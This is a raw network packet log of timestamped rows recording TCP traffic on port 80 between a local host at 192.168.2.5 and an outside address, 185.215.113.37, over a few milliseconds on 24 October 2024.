Oct 24, 2024 15:09:16.350056887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350059986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350070953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350076914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350083113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350095987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350106001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350126982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350161076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350173950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350186110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350193024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350197077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350220919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350224972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350235939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350249052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350259066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350281000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350307941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350320101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350334883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350341082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350370884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350478888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350492001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350505114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350511074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350517035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350529909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350531101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350550890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350560904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350656986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350656986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350804090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350816011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350828886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350841045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350845098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350907087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350955009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350976944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.350989103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.350994110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351012945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.351039886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.351663113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351697922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.351836920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351849079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351861000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351867914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.351872921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351888895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.351890087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351906061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351917982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.351917982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.351937056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.351963997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352000952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352013111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352035046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352041960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352051973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352052927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352066040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352070093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352087021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352104902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352161884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352174044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352185965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352194071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352197886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352210045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352210045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352231026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352258921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352298021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352309942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352329016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352355957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352390051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352401972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352410078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352416992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352468967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352546930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352560997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352572918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352581978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352586031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352597952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352608919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352608919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352638960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352710009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352725029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352736950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352745056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352750063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352761984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352773905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352778912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352787018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352797985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352807045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352834940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352854967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352866888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352878094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352885008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352891922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.352914095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.352941990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353019953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353037119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353044987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353050947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353058100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353070021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353082895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353089094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353096008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353107929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353120089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353121042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353127956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353138924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353169918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353266001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353277922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353288889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353297949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353301048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353322029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353326082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353333950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353344917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353354931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353354931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353369951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353380919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353382111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353393078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353403091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353431940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353482008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353493929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353506088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353516102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353519917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353537083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353564978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353622913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353636980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353647947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353655100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353661060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353672981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353682995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353684902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353707075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353725910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353765965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353779078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353789091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353799105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353811026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353816986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353822947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353837013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353837013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353847980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353857040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353859901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353888035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353905916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353926897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353939056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353950977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353960991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353962898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353975058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353981972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.353986979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.353998899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354012012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354032040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354068041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354079008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354101896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354131937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354223967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354237080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354249954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354259014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354262114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354273081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354280949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354285955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354296923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354310036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354311943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354329109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354346991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354371071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354382038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354394913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354402065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354418993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354438066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354562998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354574919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354587078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354595900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354619026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354744911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354756117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354775906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354805946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354923010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354935884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354948044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354955912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354960918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354971886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.354974985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.354984045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355004072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355021954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355076075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355089903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355099916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355108976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355113029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355123043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355132103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355134964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355146885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355159044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355161905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355171919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355180025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355207920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355252981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355264902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355283022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355309963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355437994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355451107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355463028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355469942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355477095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355487108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355488062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355499983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355509996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355510950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355540991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355590105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355602980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355614901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355623007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355628014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355639935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355653048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355657101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355684996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355725050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355737925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355757952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355787039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355920076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355931044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355943918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355952978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355956078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355967999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355973959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.355978966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.355992079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356002092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356003046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356014967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356020927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356025934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356038094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356043100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356048107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356062889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356062889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356092930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356282949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356302977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356312990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356314898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356324911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356337070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356339931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356348038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356359005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356360912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356369019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356379986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356390953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356390953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356405020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356412888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356434107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356436968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356455088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356467009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356467962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356478930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356489897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356494904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356502056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356513023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356523037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356524944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356534958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356544018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356544971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356558084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356568098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356590033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356590986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:16.356601000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356611967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:16.356622934 CEST	49704	80	192.168.2.5	185.215.113.37
